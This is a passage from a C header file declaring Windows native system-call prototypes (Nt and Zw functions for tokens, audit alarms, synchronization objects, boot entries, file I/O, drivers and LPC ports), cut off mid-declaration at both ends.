TokenInformationLength ); NTSTATUS NTAPI NtAdjustPrivilegesToken ( IN HANDLE TokenHandle, IN BOOLEAN DisableAllPrivileges, _In_opt_ PTOKEN_PRIVILEGES NewState, _In_opt_ ULONG BufferLength, OUT PTOKEN_PRIVILEGES PreviousState, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtAdjustGroupsToken ( IN HANDLE TokenHandle, IN BOOLEAN ResetToDefault, IN PTOKEN_GROUPS NewState , _In_opt_ ULONG BufferLength , OUT PTOKEN_GROUPS PreviousState , OUT PULONG ReturnLength ); NTSTATUS NTAPI NtPrivilegeCheck ( IN HANDLE ClientToken, _Inout_ PPRIVILEGE_SET RequiredPrivileges, OUT PBOOLEAN Result ); NTSTATUS NTAPI NtAccessCheckAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtAccessCheckByTypeAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtAccessCheckByTypeResultListAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtAccessCheckByTypeResultListAndAuditAlarmByHandle ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN HANDLE ClientToken, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtOpenObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN ACCESS_MASK GrantedAccess, _In_opt_ PPRIVILEGE_SET Privileges, IN BOOLEAN ObjectCreation, IN BOOLEAN AccessGranted, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtPrivilegeObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN PPRIVILEGE_SET Privileges, IN BOOLEAN AccessGranted ); NTSTATUS NTAPI NtCloseObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN BOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtDeleteObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN BOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtPrivilegedServiceAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN PUNICODE_STRING ServiceName, IN HANDLE ClientToken, IN PPRIVILEGE_SET Privileges, IN BOOLEAN AccessGranted ); NTSTATUS NTAPI NtContinue ( IN PCONTEXT ContextRecord, IN BOOLEAN TestAlert ); NTSTATUS NTAPI NtRaiseException ( IN PEXCEPTION_RECORD ExceptionRecord, IN PCONTEXT ContextRecord, IN BOOLEAN FirstChance ); // end_ntapi // begin_zwapi NTSTATUS NTAPI ZwDelayExecution ( IN BOOLEAN Alertable, IN PLARGE_INTEGER DelayInterval ); NTSTATUS NTAPI ZwQuerySystemEnvironmentValue ( IN PUNICODE_STRING VariableName, OUT PWSTR VariableValue, IN USHORT ValueLength, OUT OPTIONAL PUSHORT ReturnLength ); NTSTATUS NTAPI ZwSetSystemEnvironmentValue ( IN PUNICODE_STRING VariableName, IN PUNICODE_STRING VariableValue ); NTSTATUS NTAPI ZwQuerySystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, OUT OPTIONAL PVOID Value, _Inout_ PULONG ValueLength, OUT OPTIONAL PULONG Attributes ); NTSTATUS NTAPI ZwSetSystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, _In_opt_ PVOID Value, IN ULONG ValueLength, IN ULONG Attributes ); NTSTATUS NTAPI ZwEnumerateSystemEnvironmentValuesEx ( IN ULONG InformationClass, OUT PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI ZwAddBootEntry ( IN PBOOT_ENTRY BootEntry, OUT OPTIONAL PULONG Id ); NTSTATUS NTAPI ZwDeleteBootEntry ( IN ULONG Id ); NTSTATUS NTAPI ZwModifyBootEntry ( IN PBOOT_ENTRY BootEntry ); NTSTATUS NTAPI ZwEnumerateBootEntries ( OUT OPTIONAL PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI ZwQueryBootEntryOrder ( OUT OPTIONAL PULONG Ids, _Inout_ PULONG Count ); NTSTATUS NTAPI ZwSetBootEntryOrder ( IN PULONG Ids, IN ULONG Count ); NTSTATUS NTAPI ZwQueryBootOptions ( OUT OPTIONAL PBOOT_OPTIONS BootOptions, _Inout_ PULONG BootOptionsLength ); NTSTATUS NTAPI ZwSetBootOptions ( IN PBOOT_OPTIONS BootOptions, IN ULONG FieldsToChange ); NTSTATUS NTAPI ZwTranslateFilePath ( IN PFILE_PATH InputFilePath, IN ULONG OutputType, OUT OPTIONAL PFILE_PATH OutputFilePath, _Inout_opt_ PULONG OutputFilePathLength ); NTSTATUS NTAPI ZwAddDriverEntry ( IN PEFI_DRIVER_ENTRY DriverEntry, OUT OPTIONAL PULONG Id ); NTSTATUS NTAPI ZwDeleteDriverEntry ( IN ULONG Id ); NTSTATUS NTAPI ZwModifyDriverEntry ( IN PEFI_DRIVER_ENTRY DriverEntry ); NTSTATUS NTAPI ZwEnumerateDriverEntries ( OUT PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI ZwQueryDriverEntryOrder ( OUT PULONG Ids, _Inout_ PULONG Count ); NTSTATUS NTAPI ZwSetDriverEntryOrder ( IN PULONG Ids, IN ULONG Count ); NTSTATUS NTAPI ZwClearEvent ( IN HANDLE EventHandle ); NTSTATUS NTAPI ZwCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); NTSTATUS NTAPI ZwOpenEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwPulseEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI ZwQueryEvent ( IN HANDLE EventHandle, IN EVENT_INFORMATION_CLASS EventInformationClass, OUT PVOID EventInformation, IN ULONG EventInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwResetEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI ZwSetEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI ZwSetEventBoostPriority ( IN HANDLE EventHandle ); NTSTATUS NTAPI ZwCreateEventPair ( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwOpenEventPair ( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwWaitLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwWaitHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwSetLowWaitHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwSetHighWaitLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwSetLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwSetHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwCreateMutant ( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN InitialOwner ); NTSTATUS NTAPI ZwOpenMutant ( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQueryMutant ( IN HANDLE MutantHandle, IN MUTANT_INFORMATION_CLASS MutantInformationClass, OUT PVOID MutantInformation, IN ULONG MutantInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwReleaseMutant ( IN HANDLE MutantHandle, OUT OPTIONAL PLONG PreviousCount ); NTSTATUS NTAPI ZwCreateSemaphore ( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN LONG InitialCount, IN LONG MaximumCount ); NTSTATUS NTAPI ZwOpenSemaphore( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQuerySemaphore ( IN HANDLE SemaphoreHandle, IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, OUT PVOID SemaphoreInformation, IN ULONG SemaphoreInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwReleaseSemaphore( IN HANDLE SemaphoreHandle, IN LONG ReleaseCount, OUT OPTIONAL PLONG PreviousCount ); NTSTATUS NTAPI ZwCreateTimer ( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN TIMER_TYPE TimerType ); NTSTATUS NTAPI ZwOpenTimer ( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwCancelTimer ( IN HANDLE TimerHandle, OUT OPTIONAL PBOOLEAN CurrentState ); NTSTATUS NTAPI ZwQueryTimer ( IN HANDLE TimerHandle, IN TIMER_INFORMATION_CLASS TimerInformationClass, OUT PVOID TimerInformation, IN ULONG TimerInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwSetTimer ( IN HANDLE TimerHandle, IN PLARGE_INTEGER DueTime, _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, _In_opt_ PVOID TimerContext, IN BOOLEAN ResumeTimer, _In_opt_ LONG Period, OUT OPTIONAL PBOOLEAN PreviousState ); NTSTATUS NTAPI ZwQuerySystemTime ( OUT PLARGE_INTEGER SystemTime ); NTSTATUS NTAPI ZwSetSystemTime ( _In_opt_ PLARGE_INTEGER SystemTime, OUT OPTIONAL PLARGE_INTEGER PreviousTime ); NTSTATUS NTAPI ZwQueryTimerResolution ( OUT PULONG MaximumTime, OUT PULONG MinimumTime, OUT PULONG CurrentTime ); NTSTATUS NTAPI ZwSetTimerResolution ( IN ULONG DesiredTime, IN BOOLEAN SetResolution, OUT PULONG ActualTime ); NTSTATUS NTAPI ZwAllocateLocallyUniqueId ( OUT PLUID Luid ); NTSTATUS NTAPI ZwSetUuidSeed ( IN PCHAR Seed ); NTSTATUS NTAPI ZwAllocateUuids ( OUT PULARGE_INTEGER Time, OUT PULONG Range, OUT PULONG Sequence, OUT PCHAR Seed ); NTSTATUS NTAPI ZwCreateProfile ( OUT PHANDLE ProfileHandle, IN HANDLE Process OPTIONAL, IN PVOID ProfileBase, IN SIZE_T ProfileSize, IN ULONG BucketSize, IN PULONG Buffer, IN ULONG BufferSize, IN KPROFILE_SOURCE ProfileSource, IN KAFFINITY Affinity ); NTSTATUS NTAPI ZwStartProfile ( IN HANDLE ProfileHandle ); NTSTATUS NTAPI ZwStopProfile ( IN HANDLE ProfileHandle ); NTSTATUS NTAPI ZwSetIntervalProfile ( IN ULONG Interval, IN KPROFILE_SOURCE Source ); NTSTATUS NTAPI ZwQueryIntervalProfile ( IN KPROFILE_SOURCE ProfileSource, OUT PULONG Interval ); NTSTATUS NTAPI ZwQueryPerformanceCounter ( OUT PLARGE_INTEGER PerformanceCounter, OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency ); NTSTATUS NTAPI ZwCreateKeyedEvent ( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Flags ); NTSTATUS NTAPI ZwOpenKeyedEvent ( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwReleaseKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwWaitForKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwQuerySystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT OPTIONAL PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwSetSystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, _In_opt_ PVOID SystemInformation, IN ULONG SystemInformationLength ); NTSTATUS NTAPI ZwSystemDebugControl ( IN SYSDBG_COMMAND Command, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwRaiseHardError ( IN NTSTATUS ErrorStatus, IN ULONG NumberOfParameters, IN ULONG UnicodeStringParameterMask, _In_opt_ PULONG_PTR Parameters, IN ULONG ValidResponseOptions, OUT PULONG Response ); NTSTATUS NTAPI ZwQueryDefaultLocale ( IN BOOLEAN UserProfile, OUT PLCID DefaultLocaleId ); NTSTATUS NTAPI ZwSetDefaultLocale ( IN BOOLEAN UserProfile, IN LCID DefaultLocaleId ); NTSTATUS NTAPI ZwQueryInstallUILanguage ( OUT LANGID *InstallUILanguageId ); NTSTATUS NTAPI ZwQueryDefaultUILanguage ( OUT LANGID *DefaultUILanguageId ); NTSTATUS NTAPI ZwSetDefaultUILanguage ( IN LANGID DefaultUILanguageId ); NTSTATUS NTAPI ZwSetDefaultHardErrorPort( IN HANDLE DefaultHardErrorPort ); NTSTATUS NTAPI ZwShutdownSystem ( IN SHUTDOWN_ACTION Action ); NTSTATUS NTAPI ZwDisplayString ( IN PUNICODE_STRING String ); NTSTATUS NTAPI ZwAddAtom ( _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); NTSTATUS NTAPI ZwFindAtom ( _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); NTSTATUS NTAPI ZwDeleteAtom ( IN RTL_ATOM Atom ); NTSTATUS NTAPI ZwQueryInformationAtom( IN RTL_ATOM Atom, IN ATOM_INFORMATION_CLASS AtomInformationClass, OUT OPTIONAL PVOID AtomInformation, IN ULONG AtomInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwCancelIoFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSTATUS NTAPI ZwCreateNamedPipeFile ( OUT PHANDLE FileHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN ULONG NamedPipeType, IN ULONG ReadMode, IN ULONG CompletionMode, IN ULONG MaximumInstances, IN ULONG InboundQuota, IN ULONG OutboundQuota, _In_opt_ PLARGE_INTEGER DefaultTimeout ); NTSTATUS NTAPI ZwCreateMailslotFile ( OUT PHANDLE FileHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CreateOptions, IN ULONG MailslotQuota, IN ULONG MaximumMessageSize, IN PLARGE_INTEGER ReadTimeout ); NTSTATUS NTAPI ZwDeleteFile ( IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwFlushBuffersFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSTATUS NTAPI ZwNotifyChangeDirectoryFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN ULONG CompletionFilter, IN BOOLEAN WatchTree ); NTSTATUS NTAPI ZwQueryAttributesFile ( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_BASIC_INFORMATION FileInformation ); NTSTATUS NTAPI ZwQueryFullAttributesFile( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation ); NTSTATUS NTAPI ZwQueryEaFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN PVOID EaList, IN ULONG EaListLength, _In_opt_ PULONG EaIndex OPTIONAL, IN BOOLEAN RestartScan ); NTSTATUS NTAPI ZwCreateFile ( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, _In_opt_ PLARGE_INTEGER AllocationSize, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, _In_opt_ PVOID EaBuffer, IN ULONG EaLength ); NTSTATUS NTAPI ZwDeviceIoControlFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI ZwFsControlFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG FsControlCode, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI ZwLockFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key, IN BOOLEAN FailImmediately, IN BOOLEAN ExclusiveLock ); NTSTATUS NTAPI ZwOpenFile ( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions ); NTSTATUS NTAPI ZwQueryDirectoryFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, _In_opt_ PUNICODE_STRING FileName, IN BOOLEAN RestartScan ); NTSTATUS NTAPI ZwQueryInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSTATUS NTAPI ZwQueryQuotaInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, _In_opt_ PVOID SidList, IN ULONG SidListLength, _In_opt_ PSID StartSid, IN BOOLEAN RestartScan ); NTSTATUS NTAPI ZwQueryVolumeInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSTATUS NTAPI ZwReadFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI ZwSetInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSTATUS NTAPI ZwSetQuotaInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length ); NTSTATUS NTAPI ZwSetVolumeInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSTATUS NTAPI ZwWriteFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI ZwUnlockFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key ); NTSTATUS NTAPI ZwReadFileScatter ( IN HANDLE FileHandle, IN OPTIONAL HANDLE Event, IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, IN OPTIONAL PLARGE_INTEGER ByteOffset, IN OPTIONAL PULONG Key ); NTSTATUS NTAPI ZwSetEaFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length ); NTSTATUS NTAPI ZwWriteFileGather ( IN HANDLE FileHandle, IN OPTIONAL HANDLE Event, IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, IN OPTIONAL PLARGE_INTEGER ByteOffset, IN OPTIONAL PULONG Key ); NTSTATUS NTAPI ZwLoadDriver ( IN PUNICODE_STRING DriverServiceName ); NTSTATUS NTAPI ZwUnloadDriver ( IN PUNICODE_STRING DriverServiceName ); NTSTATUS NTAPI ZwCreateIoCompletion ( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Count OPTIONAL ); NTSTATUS NTAPI ZwOpenIoCompletion ( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQueryIoCompletion ( IN HANDLE IoCompletionHandle, IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, OUT PVOID IoCompletionInformation, IN ULONG IoCompletionInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwSetIoCompletion ( IN HANDLE IoCompletionHandle, IN PVOID KeyContext, IN OPTIONAL PVOID ApcContext, IN NTSTATUS IoStatus, IN ULONG_PTR IoStatusInformation ); NTSTATUS NTAPI ZwRemoveIoCompletion ( IN HANDLE IoCompletionHandle, OUT PVOID *KeyContext, OUT PVOID *ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwCallbackReturn ( IN PVOID OutputBuffer OPTIONAL, IN ULONG OutputLength, IN NTSTATUS Status ); NTSTATUS NTAPI ZwQueryDebugFilterState ( IN ULONG ComponentId, IN ULONG Level ); NTSTATUS NTAPI ZwSetDebugFilterState ( IN ULONG ComponentId, IN ULONG Level, IN BOOLEAN State ); NTSTATUS NTAPI ZwYieldExecution ( VOID ); NTSTATUS NTAPI ZwCreatePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, IN OPTIONAL ULONG MaxPoolUsage ); NTSTATUS NTAPI ZwCreateWaitablePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, IN OPTIONAL ULONG MaxPoolUsage ); NTSTATUS NTAPI ZwConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, _Inout_opt_ PPORT_VIEW ClientView, _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, _Inout_opt_ PULONG ConnectionInformationLength ); NTSTATUS NTAPI ZwSecureConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, _Inout_opt_ PPORT_VIEW ClientView, IN OPTIONAL PSID RequiredServerSid, _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, _Inout_opt_ PULONG ConnectionInformationLength ); NTSTATUS NTAPI ZwListenPort( IN HANDLE PortHandle, OUT PPORT_MESSAGE ConnectionRequest ); NTSTATUS NTAPI ZwAcceptConnectPort( OUT PHANDLE PortHandle, IN OPTIONAL PVOID PortContext, IN PPORT_MESSAGE ConnectionRequest, IN BOOLEAN AcceptConnection, _Inout_opt_ PPORT_VIEW ServerView, OUT OPTIONAL PREMOTE_PORT_VIEW ClientView ); NTSTATUS NTAPI ZwCompleteConnectPort( IN HANDLE PortHandle ); NTSTATUS NTAPI ZwRequestPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage ); NTSTATUS NTAPI ZwRequestWaitReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage, OUT PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI ZwReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI ZwReplyWaitReplyPort( IN HANDLE PortHandle, _Inout_ PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI ZwReplyWaitReceivePort( IN HANDLE PortHandle, OUT OPTIONAL PVOID *PortContext , IN OPTIONAL PPORT_MESSAGE ReplyMessage, OUT PPORT_MESSAGE ReceiveMessage ); NTSTATUS NTAPI ZwReplyWaitReceivePortEx( IN HANDLE PortHandle, OUT OPTIONAL PVOID *PortContext, IN OPTIONAL PPORT_MESSAGE ReplyMessage, OUT PPORT_MESSAGE ReceiveMessage, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwImpersonateClientOfPort( IN HANDLE PortHandle, IN PPORT_MESSAGE Message ); NTSTATUS NTAPI ZwReadRequestData( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN ULONG DataEntryIndex, 